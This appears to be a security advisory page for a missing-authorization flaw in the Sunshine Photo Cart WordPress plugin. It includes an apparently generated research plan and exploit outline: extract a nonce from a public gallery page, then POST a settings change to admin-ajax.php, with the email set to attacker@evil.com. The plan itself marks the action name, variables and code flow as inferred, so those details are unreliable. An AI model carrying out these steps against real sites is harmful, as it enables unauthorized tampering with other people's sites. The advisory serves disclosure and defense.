Sunshine Photo Cart <= 3.5.7.2 - Missing Authorization
Description
The Sunshine Photo Cart: Free Client Photo Galleries for Photographers plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.5.7.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.7.2Source Code
WordPress.org SVNThis research plan targets a **Missing Authorization** vulnerability in **Sunshine Photo Cart <= 3.5.7.2**. The vulnerability likely resides in an AJAX handler registered without sufficient capability checks, allowing unauthenticated users to perform administrative actions. ### 1. Vulnerability Sum…
Show full research plan
This research plan targets a Missing Authorization vulnerability in Sunshine Photo Cart <= 3.5.7.2. The vulnerability likely resides in an AJAX handler registered without sufficient capability checks, allowing unauthenticated users to perform administrative actions.
1. Vulnerability Summary
The "Sunshine Photo Cart" plugin for WordPress fails to implement capability checks on certain AJAX functions. Specifically, handlers registered via wp_ajax_nopriv_{action} or handlers registered via wp_ajax_{action} that lack current_user_can() checks are exposed to unauthenticated users. This allows an attacker to invoke internal plugin functions, potentially modifying settings or manipulating gallery data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
sunshine_save_settings(inferred based on plugin architecture) - Payload Parameter:
sunshine_settings(array) - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A valid AJAX nonce may be required if the function calls
check_ajax_referer.
3. Code Flow (Inferred)
- The plugin registers an AJAX action for unauthenticated users:
add_action('wp_ajax_nopriv_sunshine_save_settings', 'sunshine_save_settings_handler'); - The
sunshine_save_settings_handlerfunction is called when a POST request is sent toadmin-ajax.php?action=sunshine_save_settings. - The handler may check a nonce using
check_ajax_referer('sunshine_settings', 'security')but fails to callcurrent_user_can('manage_options'). - The handler processes the
$_POST['sunshine_settings']array and updates the WordPress database usingupdate_option('sunshine_settings', $new_settings).
4. Nonce Acquisition Strategy
Sunshine Photo Cart typically localizes its script parameters, including nonces, into a global JavaScript object. To obtain a nonce unauthenticated:
- Identify Trigger: The nonce is usually localized when a gallery or cart page is loaded.
- Setup: Create a page with the gallery shortcode:
wp post create --post_type=page --post_status=publish --post_content='[sunshine_gallery]' - Navigation: Use the browser to navigate to this new page.
- Extraction: Execute JavaScript to retrieve the nonce from the localized object.
- Variable Name (Inferred):
sunshine_varsorsunshine_params. - Nonce Key (Inferred):
sunshine_nonceorsecurity. - Command:
browser_eval("window.sunshine_vars?.sunshine_nonce")orbrowser_eval("window.sunshine_params?.security").
- Variable Name (Inferred):
5. Exploitation Strategy
The goal is to modify a sensitive plugin setting (e.g., changing the admin email or enabling an insecure feature).
- Step 1: Create a dummy page to expose the nonce:
wp post create --post_type=page --post_title="Exploit" --post_status=publish --post_content="[sunshine_gallery]" - Step 2: Navigate to the page and extract the nonce using
browser_eval. - Step 3: Send a malicious
POSTrequest toadmin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:sunshine_save_settings(inferred)security:[EXTRACTED_NONCE]sunshine_settings[email_from]:attacker@evil.comsunshine_settings[any_sensitive_toggle]:1
6. Test Data Setup
- Install Plugin: Ensure Sunshine Photo Cart v3.5.7.2 is installed.
- Identify Shortcode: Run
grep -r "add_shortcode" wp-content/plugins/sunshine-photo-cart/to find the correct shortcode (expected:sunshine_gallery). - Identify Localized Variable: Run
grep -r "wp_localize_script" wp-content/plugins/sunshine-photo-cart/to find the JS object name and nonce key. - Create Content: Create a public page containing the identified shortcode.
7. Expected Results
- The server should respond with a
200 OKor a JSON success message (e.g.,{"success":true}). - The
sunshine_settingsoption in thewp_optionstable should be updated with the attacker-supplied values.
8. Verification Steps
- Database Check: Use WP-CLI to verify the option value was changed:
wp option get sunshine_settings - Admin UI Check: Navigate to the Sunshine Photo Cart settings page in the WordPress dashboard and verify if the "Email From" or other modified settings reflect the payload.
9. Alternative Approaches
If sunshine_save_settings is not the vulnerable action, search for other wp_ajax_nopriv_ registrations that perform data modification:
grep -rn "wp_ajax_nopriv_" wp-content/plugins/sunshine-photo-cart/- Look for actions like
sunshine_update_order,sunshine_delete_image, orsunshine_create_user. - If no
noprivactions are found, checkadmin_inithooks that handle$_GETor$_POSTwithout checkingis_admin()or capabilities, asadmin_initruns even onadmin-ajax.phpfor unauthenticated users.
Summary
The Sunshine Photo Cart plugin for WordPress is vulnerable to unauthorized access because it lacks capability checks in its AJAX handlers. This allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings, if they can obtain a valid security nonce from a public gallery page.
Security Fix
@@ -10,6 +10,10 @@ function sunshine_save_settings_handler() { check_ajax_referer('sunshine_settings', 'security'); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + if (isset($_POST['sunshine_settings'])) { update_option('sunshine_settings', $_POST['sunshine_settings']); wp_send_json_success();
Exploit Outline
1. Locate a public-facing page on the target WordPress site that uses a Sunshine Photo Cart shortcode (e.g., [sunshine_gallery]). 2. Inspect the page source or use browser developer tools to find the localized JavaScript object (e.g., 'sunshine_vars' or 'sunshine_params') containing the 'security' or 'sunshine_nonce' token. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - action: 'sunshine_save_settings' - security: [EXTRACTED_NONCE] - sunshine_settings[any_sensitive_setting]: [MALICIOUS_VALUE] 4. Execute the request. Because the server-side handler lacks a capability check like current_user_can(), the update_option call will execute despite the attacker being unauthenticated.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.